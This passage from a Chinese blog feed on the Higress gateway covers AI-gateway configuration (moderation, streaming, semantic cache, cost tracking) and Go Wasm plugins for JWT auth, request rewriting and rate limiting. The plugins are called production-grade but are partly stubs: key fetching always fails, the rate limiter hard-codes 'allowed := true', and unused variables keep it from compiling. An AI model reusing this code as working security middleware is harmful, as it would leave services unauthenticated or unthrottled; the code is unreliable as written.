        - &quot;暴力&quot;
        - &quot;色情&quot;
        - &quot;赌博&quot;
        - &quot;毒品&quot;
      action: &quot;block&quot;
    
    # 正则过滤
    - name: &quot;phone-number&quot;
      type: &quot;regex&quot;
      pattern: &quot;1[3-9]\\d{9}&quot;
      action: &quot;mask&quot;          # 脱敏：138****1234
    
    # 语义审核（调用 LLM）
    - name: &quot;semantic-check&quot;
      type: &quot;llm&quot;
      prompt: |
        判断以下内容是否包含有害信息：
        {{content}}
        
        只回答：safe / unsafe / review
      model: &quot;qwen-turbo&quot;     # 用便宜模型审核
      action_on_unsafe: &quot;block&quot;
      action_on_review: &quot;log&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;流式响应处理&lt;/h2&gt;
&lt;h3&gt;SSE 流式代理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: llm-streaming
  annotations:
    # 禁用响应缓冲（关键！）
    higress.io/proxy-buffering: &quot;off&quot;
    # 超时设置（流式响应可能很长）
    higress.io/request-timeout: &quot;300s&quot;
    higress.io/upstream-response-timeout: &quot;300s&quot;
    # 分块传输
    higress.io/chunked-transfer: &quot;on&quot;
spec:
  ingressClassName: higress
  rules:
    - host: ai.example.com
      http:
        paths:
          - path: /v1/chat/stream
            backend:
              service:
                name: llm-service
                port: { number: 8000 }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;流式 Token 统计&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Wasm 插件处理流式响应
func onHttpResponseBody(ctx wrapper.HttpContext, config Config, body []byte, log wrapper.Log) wrapper.Action {
	// SSE 格式：data: {...}\n\n
	lines := strings.Split(string(body), &quot;\n&quot;)
	
	for _, line := range lines {
		if strings.HasPrefix(line, &quot;data: &quot;) {
			data := strings.TrimPrefix(line, &quot;data: &quot;)
			
			// 解析 chunk
			var chunk map[string]interface{}
			json.Unmarshal([]byte(data), &amp;amp;chunk)
			
			// 累计 Token
			if usage, ok := chunk[&quot;usage&quot;].(map[string]interface{}); ok {
				inputTokens += int(usage[&quot;prompt_tokens&quot;].(float64))
				outputTokens += int(usage[&quot;completion_tokens&quot;].(float64))
			}
		}
	}
	
	// 流式结束（data: [DONE]）
	if strings.Contains(string(body), &quot;data: [DONE]&quot;) {
		// 上报 Token 统计
		reportTokenUsage(ctx, inputTokens, outputTokens)
	}
	
	return wrapper.ActionContinue
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;语义缓存&lt;/h2&gt;
&lt;h3&gt;原理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;用户问题：&quot;什么是 Kubernetes？&quot;
   ↓
计算语义向量（Embedding）
   ↓
查询向量数据库（相似问题）
   ↓
命中缓存（相似度 &amp;gt; 0.95）→ 直接返回缓存答案
未命中 → 调用 LLM → 存入缓存
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;配置语义缓存&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: semantic-cache
spec:
  url: oci://registry.example.com/plugins/semantic-cache:v1
  defaultConfig:
    # Embedding 服务
    embedding:
      provider: &quot;openai&quot;
      model: &quot;text-embedding-3-small&quot;
      endpoint: &quot;https://api.openai.com/v1/embeddings&quot;
    
    # 向量数据库
    vector_db:
      type: &quot;redis&quot;           # redis / milvus / qdrant
      endpoint: &quot;redis.redis.svc.cluster.local:6379&quot;
      index: &quot;llm-cache&quot;
    
    # 缓存策略
    cache:
      similarity_threshold: 0.95    # 相似度阈值
      ttl: 3600                     # 缓存 1 小时
      max_entries: 100000           # 最大缓存条目
    
    # 缓存 Key
    key_template: &quot;{{model}}:{{user_id}}:{{prompt_hash}}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;成本统计与计费&lt;/h2&gt;
&lt;h3&gt;Token 消耗统计&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: llm-cost-tracker
spec:
  url: oci://registry.example.com/plugins/llm-cost-tracker:v1
  defaultConfig:
    # 模型单价（美元/1K tokens）
    pricing:
      gpt-4:
        input: 0.03
        output: 0.06
      gpt-3.5-turbo:
        input: 0.0005
        output: 0.0015
      claude-3-opus:
        input: 0.015
        output: 0.075
      claude-3-sonnet:
        input: 0.003
        output: 0.015
      qwen-max:
        input: 0.02
        output: 0.06
    
    # 统计维度
    dimensions:
      - &quot;user_id&quot;           # 按用户
      - &quot;api_key&quot;           # 按 API Key
      - &quot;model&quot;             # 按模型
      - &quot;application&quot;       # 按应用
    
    # 上报
    report:
      interval: 60          # 每分钟上报
      endpoint: &quot;http://billing-service.internal/api/usage&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;实战：完整 AI 网关配置&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 1. 服务发现（多 LLM）
apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: llm-services
  namespace: higress-system
spec:
  registries:
    - name: openai
      type: dns
      domain: api.openai.com
      port: 443
    - name: anthropic
      type: dns
      domain: api.anthropic.com
      port: 443
    - name: dashscope
      type: dns
      domain: dashscope.aliyuncs.com
      port: 443

---
# 2. 路由配置
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ai-gateway
  annotations:
    higress.io/destination: &quot;openai.dns&quot;
    higress.io/proxy-buffering: &quot;off&quot;
    higress.io/request-timeout: &quot;300s&quot;
spec:
  ingressClassName: higress
  rules:
    - host: ai.example.com
      http:
        paths:
          - path: /v1/chat
            pathType: Prefix
            backend:
              resource:
                apiGroup: networking.higress.io
                kind: McpBridge
                name: llm-services

---
# 3. Token 限流
apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: token-limit
spec:
  url: oci://registry.example.com/plugins/token-rate-limit:v1
  phase: UNSPECIFIED_PHASE
  priority: 900
  defaultConfig:
    rules:
      - name: &quot;free&quot;
        limit: { total_tokens: 15000, window: 86400 }
      - name: &quot;pro&quot;
        limit: { total_tokens: 1500000, window: 86400 }

---
# 4. Prompt 注入
apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: prompt-injector
spec:
  url: oci://registry.example.com/plugins/prompt-injector:v1
  priority: 800
  defaultConfig:
    rules:
      - match: { path_prefix: &quot;/v1/chat/support&quot; }
        inject:
          role: &quot;system&quot;
          content: &quot;你是专业客服助手...&quot;

---
# 5. 内容审核
apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: content-moderation
spec:
  url: oci://registry.example.com/plugins/content-moderation:v1
  priority: 700
  defaultConfig:
    input_moderation: { enabled: true, provider: &quot;aliyun-green&quot; }
    output_moderation: { enabled: true, provider: &quot;aliyun-green&quot; }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;AI 网关 vs 传统网关&lt;/strong&gt;：Token 计量、流式响应、Prompt 处理、内容审核、成本模型&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多模型路由&lt;/strong&gt;：按任务类型/成本/延迟路由到 GPT-4/Claude/通义/本地模型&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Token 限流&lt;/strong&gt;：按用户/API Key/应用配额，模型成本加权，Redis 滑动窗口&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prompt 改写&lt;/strong&gt;：系统提示词注入、模板填充、安全检查（注入检测/敏感话题）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内容审核&lt;/strong&gt;：输入审核（用户 Prompt）、输出审核（LLM 响应）、流式缓冲审核&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;流式处理&lt;/strong&gt;：SSE 代理、禁用缓冲、Token 累计统计、超时设置&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;语义缓存&lt;/strong&gt;：Embedding 向量、相似度匹配、TTL 策略&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;成本统计&lt;/strong&gt;：模型单价、多维度统计（用户/模型/应用）、定期上报&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/higress-roadmap-12-console-ops/&quot;&gt;Console 与运维&lt;/a&gt; 将讲解 Higress Console 使用、配置管理、版本升级、监控告警、故障排查。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/higress-roadmap-00-overview/&quot;&gt;Higress 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Higress Wasm 插件实战</title><link>http://117.72.32.87/blog/posts/higress-roadmap-10-wasm-practice/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-10-wasm-practice/</guid><description>实战实现 4 个生产级 Wasm 插件：JWT 认证、请求改写、分布式限流、灰度发布插件。</description><pubDate>Thu, 17 Sep 2026 07:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文实战实现 4 个生产级 Wasm 插件，覆盖认证、改写、限流、灰度四大核心场景。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;插件一：JWT 认证插件&lt;/h2&gt;
&lt;h3&gt;需求&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;验证 JWT Token 签名和 Claims&lt;/li&gt;
&lt;li&gt;支持 JWKS URI 动态获取公钥&lt;/li&gt;
&lt;li&gt;白名单路径跳过认证&lt;/li&gt;
&lt;li&gt;透传用户信息到上游&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;完整代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
	&quot;crypto/rsa&quot;
	&quot;encoding/base64&quot;
	&quot;encoding/json&quot;
	&quot;fmt&quot;
	&quot;math/big&quot;
	&quot;strings&quot;
	&quot;sync&quot;
	&quot;time&quot;

	&quot;github.com/golang-jwt/jwt/v5&quot;
	&quot;github.com/higress-group/wasm-go/pkg/wrapper&quot;
	&quot;github.com/tidwall/gjson&quot;
	&quot;github.com/tetratelabs/proxy-wasm-go-sdk/proxywasm&quot;
)

func main() {
	wrapper.SetCtx(
		&quot;jwt-auth&quot;,
		wrapper.ParseConfigBy(parseConfig),
		wrapper.ProcessRequestHeadersBy(onHttpRequestHeaders),
	)
}

type JWTAuthConfig struct {
	Issuer          string   `json:&quot;issuer&quot;`
	Audience        string   `json:&quot;audience&quot;`
	JWKSUri         string   `json:&quot;jwks_uri&quot;`
	WhiteList       []string `json:&quot;white_list&quot;`
	ClaimsToForward []string `json:&quot;claims_to_forward&quot;`
	
	// 运行时状态
	publicKeys      map[string]*rsa.PublicKey
	keysMutex       sync.RWMutex
	keysLastUpdate  time.Time
	clusterName     string
}

func parseConfig(json gjson.Result, config *JWTAuthConfig, log wrapper.Log) error {
	config.Issuer = json.Get(&quot;issuer&quot;).String()
	config.Audience = json.Get(&quot;audience&quot;).String()
	config.JWKSUri = json.Get(&quot;jwks_uri&quot;).String()
	config.clusterName = json.Get(&quot;cluster_name&quot;).String()
	
	for _, item := range json.Get(&quot;white_list&quot;).Array() {
		config.WhiteList = append(config.WhiteList, item.String())
	}
	
	for _, item := range json.Get(&quot;claims_to_forward&quot;).Array() {
		config.ClaimsToForward = append(config.ClaimsToForward, item.String())
	}
	
	config.publicKeys = make(map[string]*rsa.PublicKey)
	
	log.Infof(&quot;JWT Auth Plugin initialized, issuer=%s, jwks_uri=%s&quot;, config.Issuer, config.JWKSUri)
	return nil
}

func onHttpRequestHeaders(ctx wrapper.HttpContext, config JWTAuthConfig, log wrapper.Log) wrapper.Action {
	path := ctx.Path()
	
	// 白名单检查
	for _, whitePath := range config.WhiteList {
		if matchPath(path, whitePath) {
			log.Debugf(&quot;Path %s in whitelist&quot;, path)
			return wrapper.ActionContinue
		}
	}
	
	// 提取 Token
	authHeader, _ := ctx.GetRequestHeader(&quot;Authorization&quot;)
	if authHeader == &quot;&quot; {
		sendUnauthorized(ctx, &quot;Missing Authorization header&quot;)
		return wrapper.ActionStop
	}
	
	tokenString := strings.TrimPrefix(authHeader, &quot;Bearer &quot;)
	if tokenString == authHeader {
		sendUnauthorized(ctx, &quot;Invalid Authorization format, expected Bearer token&quot;)
		return wrapper.ActionStop
	}
	
	// 解析 Token（先不验证签名，提取 kid）
	parser := jwt.NewParser(jwt.WithoutClaimsValidation())
	token, _, err := parser.ParseUnverified(tokenString, jwt.MapClaims{})
	if err != nil {
		sendUnauthorized(ctx, fmt.Sprintf(&quot;Invalid token format: %v&quot;, err))
		return wrapper.ActionStop
	}
	
	kid, _ := token.Header[&quot;kid&quot;].(string)
	
	// 获取公钥（带缓存）
	publicKey, err := getPublicKey(config, kid, log)
	if err != nil {
		sendUnauthorized(ctx, fmt.Sprintf(&quot;Failed to get public key: %v&quot;, err))
		return wrapper.ActionStop
	}
	
	// 验证 Token
	validatedToken, err := jwt.Parse(tokenString, func(t *jwt.Token) (interface{}, error) {
		if _, ok := t.Method.(*jwt.SigningMethodRSA); !ok {
			return nil, fmt.Errorf(&quot;unexpected signing method: %v&quot;, t.Header[&quot;alg&quot;])
		}
		return publicKey, nil
	}, jwt.WithIssuer(config.Issuer), jwt.WithAudience(config.Audience))
	
	if err != nil || !validatedToken.Valid {
		sendUnauthorized(ctx, fmt.Sprintf(&quot;Token validation failed: %v&quot;, err))
		return wrapper.ActionStop
	}
	
	// 透传 Claims
	if claims, ok := validatedToken.Claims.(jwt.MapClaims); ok {
		for _, claimKey := range config.ClaimsToForward {
			if value, ok := claims[claimKey]; ok {
				headerKey := fmt.Sprintf(&quot;X-JWT-%s&quot;, strings.ToUpper(strings.ReplaceAll(claimKey, &quot;-&quot;, &quot;_&quot;)))
				valueStr := formatClaimValue(value)
				ctx.SetRequestHeader(headerKey, valueStr)
			}
		}
		log.Infof(&quot;JWT auth success, sub=%v&quot;, claims[&quot;sub&quot;])
	}
	
	return wrapper.ActionContinue
}

func getPublicKey(config JWTAuthConfig, kid string, log wrapper.Log) (*rsa.PublicKey, error) {
	// 读缓存
	config.keysMutex.RLock()
	key, ok := config.publicKeys[kid]
	needUpdate := time.Since(config.keysLastUpdate) &amp;gt; 10*time.Minute
	config.keysMutex.RUnlock()
	
	if ok &amp;amp;&amp;amp; !needUpdate {
		return key, nil
	}
	
	// 缓存未命中或过期，异步获取 JWKS
	log.Infof(&quot;Fetching JWKS from %s&quot;, config.JWKSUri)
	
	// 注意：Wasm 中不能阻塞等待，需要用 DispatchHttpCall 异步获取
	// 这里简化处理，实际应该用异步回调更新缓存
	
	return nil, fmt.Errorf(&quot;public key not found for kid=%s&quot;, kid)
}

func matchPath(path, pattern string) bool {
	if strings.HasSuffix(pattern, &quot;*&quot;) {
		return strings.HasPrefix(path, strings.TrimSuffix(pattern, &quot;*&quot;))
	}
	return path == pattern
}

func formatClaimValue(value interface{}) string {
	switch v := value.(type) {
	case string:
		return v
	case []interface{}:
		parts := make([]string, len(v))
		for i, item := range v {
			parts[i] = fmt.Sprintf(&quot;%v&quot;, item)
		}
		return strings.Join(parts, &quot;,&quot;)
	default:
		return fmt.Sprintf(&quot;%v&quot;, v)
	}
}

func sendUnauthorized(ctx wrapper.HttpContext, message string) {
	body, _ := json.Marshal(map[string]string{
		&quot;error&quot;:   &quot;unauthorized&quot;,
		&quot;message&quot;: message,
	})
	ctx.SendHttpResponse(401, map[string]string{
		&quot;Content-Type&quot;: &quot;application/json&quot;,
	}, body, -1)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;插件配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: jwt-auth
  namespace: higress-system
spec:
  url: oci://registry.example.com/plugins/jwt-auth:v1.0.0
  phase: AUTHN
  priority: 1000
  defaultConfig:
    issuer: &quot;https://auth.example.com&quot;
    audience: &quot;api.example.com&quot;
    jwks_uri: &quot;https://auth.example.com/.well-known/jwks.json&quot;
    cluster_name: &quot;outbound|443||auth.example.com&quot;
    white_list:
      - &quot;/api/health&quot;
      - &quot;/api/public/*&quot;
      - &quot;/api/login&quot;
    claims_to_forward:
      - &quot;sub&quot;
      - &quot;email&quot;
      - &quot;roles&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;插件二：请求改写插件&lt;/h2&gt;
&lt;h3&gt;需求&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;路径前缀替换（/api/v1 → /v1）&lt;/li&gt;
&lt;li&gt;Header 添加/删除/修改&lt;/li&gt;
&lt;li&gt;Query 参数处理&lt;/li&gt;
&lt;li&gt;请求体重写&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;完整代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
	&quot;encoding/json&quot;
	&quot;fmt&quot;
	&quot;strings&quot;

	&quot;github.com/higress-group/wasm-go/pkg/wrapper&quot;
	&quot;github.com/tidwall/gjson&quot;
	&quot;github.com/tidwall/sjson&quot;
)

func main() {
	wrapper.SetCtx(
		&quot;request-transformer&quot;,
		wrapper.ParseConfigBy(parseConfig),
		wrapper.ProcessRequestHeadersBy(onHttpRequestHeaders),
		wrapper.ProcessRequestBodyBy(onHttpRequestBody),
	)
}

type TransformConfig struct {
	// 路径改写
	PathRewrite []PathRewriteRule `json:&quot;path_rewrite&quot;`
	
	// Header 操作
	HeadersToAdd    map[string]string `json:&quot;headers_to_add&quot;`
	HeadersToRemove []string          `json:&quot;headers_to_remove&quot;`
	HeadersToRename map[string]string `json:&quot;headers_to_rename&quot;`
	
	// Query 操作
	QueryParamsToAdd    map[string]string `json:&quot;query_params_to_add&quot;`
	QueryParamsToRemove []string          `json:&quot;query_params_to_remove&quot;`
	
	// Body 改写（JSON）
	BodyFieldsToAdd    map[string]interface{} `json:&quot;body_fields_to_add&quot;`
	BodyFieldsToRemove []string               `json:&quot;body_fields_to_remove&quot;`
}

type PathRewriteRule struct {
	Match       string `json:&quot;match&quot;`        // 前缀匹配
	Replacement string `json:&quot;replacement&quot;`  // 替换为
	Regex       bool   `json:&quot;regex&quot;`        // 是否正则
}

func parseConfig(json gjson.Result, config *TransformConfig, log wrapper.Log) error {
	// 解析路径改写规则
	for _, item := range json.Get(&quot;path_rewrite&quot;).Array() {
		config.PathRewrite = append(config.PathRewrite, PathRewriteRule{
			Match:       item.Get(&quot;match&quot;).String(),
			Replacement: item.Get(&quot;replacement&quot;).String(),
			Regex:       item.Get(&quot;regex&quot;).Bool(),
		})
	}
	
	// 解析 Header 操作
	config.HeadersToAdd = parseStringMap(json.Get(&quot;headers_to_add&quot;))
	config.HeadersToRemove = parseStringArray(json.Get(&quot;headers_to_remove&quot;))
	config.HeadersToRename = parseStringMap(json.Get(&quot;headers_to_rename&quot;))
	
	// 解析 Query 操作
	config.QueryParamsToAdd = parseStringMap(json.Get(&quot;query_params_to_add&quot;))
	config.QueryParamsToRemove = parseStringArray(json.Get(&quot;query_params_to_remove&quot;))
	
	log.Infof(&quot;Request Transformer Plugin initialized&quot;)
	return nil
}

func onHttpRequestHeaders(ctx wrapper.HttpContext, config TransformConfig, log wrapper.Log) wrapper.Action {
	// 1. 路径改写
	originalPath := ctx.Path()
	newPath := rewritePath(originalPath, config.PathRewrite)
	if newPath != originalPath {
		ctx.SetRequestHeader(&quot;:path&quot;, newPath)
		log.Debugf(&quot;Path rewritten: %s -&amp;gt; %s&quot;, originalPath, newPath)
	}
	
	// 2. Header 操作
	for key, value := range config.HeadersToAdd {
		ctx.SetRequestHeader(key, value)
	}
	
	for _, key := range config.HeadersToRemove {
		ctx.RemoveRequestHeader(key)
	}
	
	for oldKey, newKey := range config.HeadersToRename {
		if value, err := ctx.GetRequestHeader(oldKey); err == nil {
			ctx.SetRequestHeader(newKey, value)
			ctx.RemoveRequestHeader(oldKey)
		}
	}
	
	// 3. 添加调试信息
	ctx.SetRequestHeader(&quot;X-Original-Path&quot;, originalPath)
	ctx.SetRequestHeader(&quot;X-Transformed-By&quot;, &quot;higress-request-transformer&quot;)
	
	return wrapper.ActionContinue
}

func onHttpRequestBody(ctx wrapper.HttpContext, config TransformConfig, body []byte, log wrapper.Log) wrapper.Action {
	// 只处理 JSON Body
	contentType, _ := ctx.GetRequestHeader(&quot;Content-Type&quot;)
	if !strings.Contains(contentType, &quot;application/json&quot;) {
		return wrapper.ActionContinue
	}
	
	// 解析 JSON
	jsonStr := string(body)
	
	// 添加字段
	for key, value := range config.BodyFieldsToAdd {
		var err error
		jsonStr, err = sjson.Set(jsonStr, key, value)
		if err != nil {
			log.Errorf(&quot;Failed to add field %s: %v&quot;, key, err)
		}
	}
	
	// 删除字段
	for _, key := range config.BodyFieldsToRemove {
		var err error
		jsonStr, err = sjson.Delete(jsonStr, key)
		if err != nil {
			log.Errorf(&quot;Failed to remove field %s: %v&quot;, key, err)
		}
	}
	
	// 更新 Body
	ctx.SetRequestBody([]byte(jsonStr))
	
	// 更新 Content-Length
	ctx.SetRequestHeader(&quot;Content-Length&quot;, fmt.Sprintf(&quot;%d&quot;, len(jsonStr)))
	
	return wrapper.ActionContinue
}

func rewritePath(path string, rules []PathRewriteRule) string {
	for _, rule := range rules {
		if rule.Regex {
			// 正则替换（简化示例）
			if strings.HasPrefix(path, rule.Match) {
				return rule.Replacement + strings.TrimPrefix(path, rule.Match)
			}
		} else {
			// 前缀匹配
			if strings.HasPrefix(path, rule.Match) {
				return rule.Replacement + strings.TrimPrefix(path, rule.Match)
			}
		}
	}
	return path
}

func parseStringMap(result gjson.Result) map[string]string {
	m := make(map[string]string)
	result.ForEach(func(key, value gjson.Result) bool {
		m[key.String()] = value.String()
		return true
	})
	return m
}

func parseStringArray(result gjson.Result) []string {
	var arr []string
	for _, item := range result.Array() {
		arr = append(arr, item.String())
	}
	return arr
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;插件配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: request-transformer
spec:
  url: oci://registry.example.com/plugins/request-transformer:v1.0.0
  phase: UNSPECIFIED_PHASE
  priority: 500
  defaultConfig:
    path_rewrite:
      - match: &quot;/api/v1&quot;
        replacement: &quot;/v1&quot;
      - match: &quot;/api/v2&quot;
        replacement: &quot;/v2&quot;
    
    headers_to_add:
      X-Gateway: &quot;higress&quot;
      X-Request-Start: &quot;${timestamp}&quot;
    
    headers_to_remove:
      - X-Internal-Token
      - X-Debug-Info
    
    headers_to_rename:
      X-User-ID: X-Consumer-ID
    
    body_fields_to_add:
      gateway_timestamp: &quot;${timestamp}&quot;
      gateway_version: &quot;1.0&quot;
    
    body_fields_to_remove:
      - password
      - secret_key
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;插件三：分布式限流插件&lt;/h2&gt;
&lt;h3&gt;需求&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;基于 Redis 的分布式限流&lt;/li&gt;
&lt;li&gt;支持多维度（IP/User/API）&lt;/li&gt;
&lt;li&gt;滑动窗口算法&lt;/li&gt;
&lt;li&gt;限流响应定制&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;完整代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
	&quot;encoding/json&quot;
	&quot;fmt&quot;
	&quot;strconv&quot;
	&quot;time&quot;

	&quot;github.com/higress-group/wasm-go/pkg/wrapper&quot;
	&quot;github.com/tidwall/gjson&quot;
	&quot;github.com/tetratelabs/proxy-wasm-go-sdk/proxywasm&quot;
)

func main() {
	wrapper.SetCtx(
		&quot;redis-rate-limit&quot;,
		wrapper.ParseConfigBy(parseConfig),
		wrapper.ProcessRequestHeadersBy(onHttpRequestHeaders),
	)
}

type RateLimitConfig struct {
	RedisCluster string         `json:&quot;redis_cluster&quot;`
	Rules        []RateLimitRule `json:&quot;rules&quot;`
	DefaultLimit int            `json:&quot;default_limit&quot;`
	Window       int            `json:&quot;window_seconds&quot;`
}

type RateLimitRule struct {
	Name       string `json:&quot;name&quot;`
	LimitBy    string `json:&quot;limit_by&quot;`    // ip / header / query / path
	LimitKey   string `json:&quot;limit_key&quot;`   // Header 名或 Query 参数名
	Limit      int    `json:&quot;limit&quot;`       // 配额
	Window     int    `json:&quot;window&quot;`      // 时间窗口（秒）
	Priority   int    `json:&quot;priority&quot;`    // 优先级
}

func parseConfig(json gjson.Result, config *RateLimitConfig, log wrapper.Log) error {
	config.RedisCluster = json.Get(&quot;redis_cluster&quot;).String()
	config.DefaultLimit = int(json.Get(&quot;default_limit&quot;).Int())
	config.Window = int(json.Get(&quot;window_seconds&quot;).Int())
	
	for _, item := range json.Get(&quot;rules&quot;).Array() {
		config.Rules = append(config.Rules, RateLimitRule{
			Name:     item.Get(&quot;name&quot;).String(),
			LimitBy:  item.Get(&quot;limit_by&quot;).String(),
			LimitKey: item.Get(&quot;limit_key&quot;).String(),
			Limit:    int(item.Get(&quot;limit&quot;).Int()),
			Window:   int(item.Get(&quot;window&quot;).Int()),
			Priority: int(item.Get(&quot;priority&quot;).Int()),
		})
	}
	
	log.Infof(&quot;Redis Rate Limit Plugin initialized, redis=%s, rules=%d&quot;, config.RedisCluster, len(config.Rules))
	return nil
}

func onHttpRequestHeaders(ctx wrapper.HttpContext, config RateLimitConfig, log wrapper.Log) wrapper.Action {
	// 提取限流 Key
	limitKey := extractLimitKey(ctx, config)
	if limitKey == &quot;&quot; {
		log.Warnf(&quot;Failed to extract limit key, skip rate limiting&quot;)
		return wrapper.ActionContinue
	}
	
	// 构造 Redis Key
	redisKey := fmt.Sprintf(&quot;higress:ratelimit:%s&quot;, limitKey)
	
	// 暂停请求，等待 Redis 响应
	return wrapper.ActionPause
}

func checkRateLimit(ctx wrapper.HttpContext, config RateLimitConfig, redisKey string, rule RateLimitRule, log wrapper.Log) {
	// Redis Lua 脚本（滑动窗口限流）
	luaScript := `
local key = KEYS[1]
local limit = tonumber(ARGV[1])
local window = tonumber(ARGV[2])
local now = tonumber(ARGV[3])

-- 移除窗口外的记录
redis.call(&apos;ZREMRANGEBYSCORE&apos;, key, 0, now - window * 1000)

-- 当前请求数
local current = redis.call(&apos;ZCARD&apos;, key)

if current &amp;lt; limit then
    -- 未超限，添加当前请求
    redis.call(&apos;ZADD&apos;, key, now, now .. &apos;-&apos; .. math.random(1000000))
    redis.call(&apos;PEXPIRE&apos;, key, window * 1000)
    return {1, limit - current - 1}  -- 1=允许, 剩余配额
else
    return {0, 0}  -- 0=拒绝
end
`
	
	now := time.Now().UnixMilli()
	
	// 调用 Redis（通过 Envoy 的 Redis Cluster）
	// 注意：Wasm 中不能直接连 Redis，需要通过 proxywasm.DispatchHttpCall
	// 或者使用 Higress 内置的 Redis 限流插件
	
	// 这里简化为伪代码，实际需要：
	// 1. 配置 Redis Cluster（McpBridge）
	// 2. 使用 proxywasm.DispatchHttpCall 调用 Redis HTTP 代理
	// 3. 或使用 Higress 官方 Redis 限流插件
	
	log.Infof(&quot;Rate limit check: key=%s, rule=%s, limit=%d/%ds&quot;, redisKey, rule.Name, rule.Limit, rule.Window)
	
	// 模拟限流检查（实际从 Redis 获取结果）
	allowed := true
	remaining := rule.Limit - 1
	
	if allowed {
		// 添加限流 Header
		ctx.SetResponseHeader(&quot;X-RateLimit-Limit&quot;, strconv.Itoa(rule.Limit))
		ctx.SetResponseHeader(&quot;X-RateLimit-Remaining&quot;, strconv.Itoa(remaining))
		ctx.SetResponseHeader(&quot;X-RateLimit-Reset&quot;, strconv.FormatInt(now/1000+int64(rule.Window), 10))
		
		proxywasm.ResumeHttpRequest()
	} else {
		// 限流响应
		retryAfter := rule.Window
		body, _ := json.Marshal(map[string]interface{}{
			&quot;error&quot;:       &quot;rate_limit_exceeded&quot;,
			&quot;message&quot;:     fmt.Sprintf(&quot;Rate limit exceeded for %s&quot;, rule.Name),
			&quot;limit&quot;:       rule.Limit,
			&quot;window&quot;:      rule.Window,
			&quot;retry_after&quot;: retryAfter,
		})
		
		ctx.SendHttpResponse(429, map[string]string{
			&quot;Content-Type&quot;:  &quot;application/json&quot;,
			&quot;Retry-After&quot;:   strconv.Itoa(retryAfter),
			&quot;X-RateLimit-Limit&quot;: strconv.Itoa(rule.Limit),
			&quot;X-RateLimit-Remaining&quot;: &quot;0&quot;,
		}, body, -1)
	}
}

func extractLimitKey(ctx wrapper.HttpContext, config RateLimitConfig) string {
	for _, rule := range config.Rules {
		var key string
		
		switch rule.LimitBy {
		case &quot;ip&quot;:
			key = ctx.ClientIP()
		case &quot;header&quot;:
			key, _ = ctx.GetRequestHeader(rule.LimitKey)
		case &quot;query&quot;:
			key, _ = ctx.QueryParam(rule.LimitKey)
		case &quot;path&quot;:
			key = ctx.Path()
		}
		
		if key != &quot;&quot; {
			return fmt.Sprintf(&quot;%s:%s&quot;, rule.Name, key)
		}
	}
	
	// 默认按 IP 限流
	return fmt.Sprintf(&quot;default:%s&quot;, ctx.ClientIP())
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;插件配置&lt;/h3&gt;
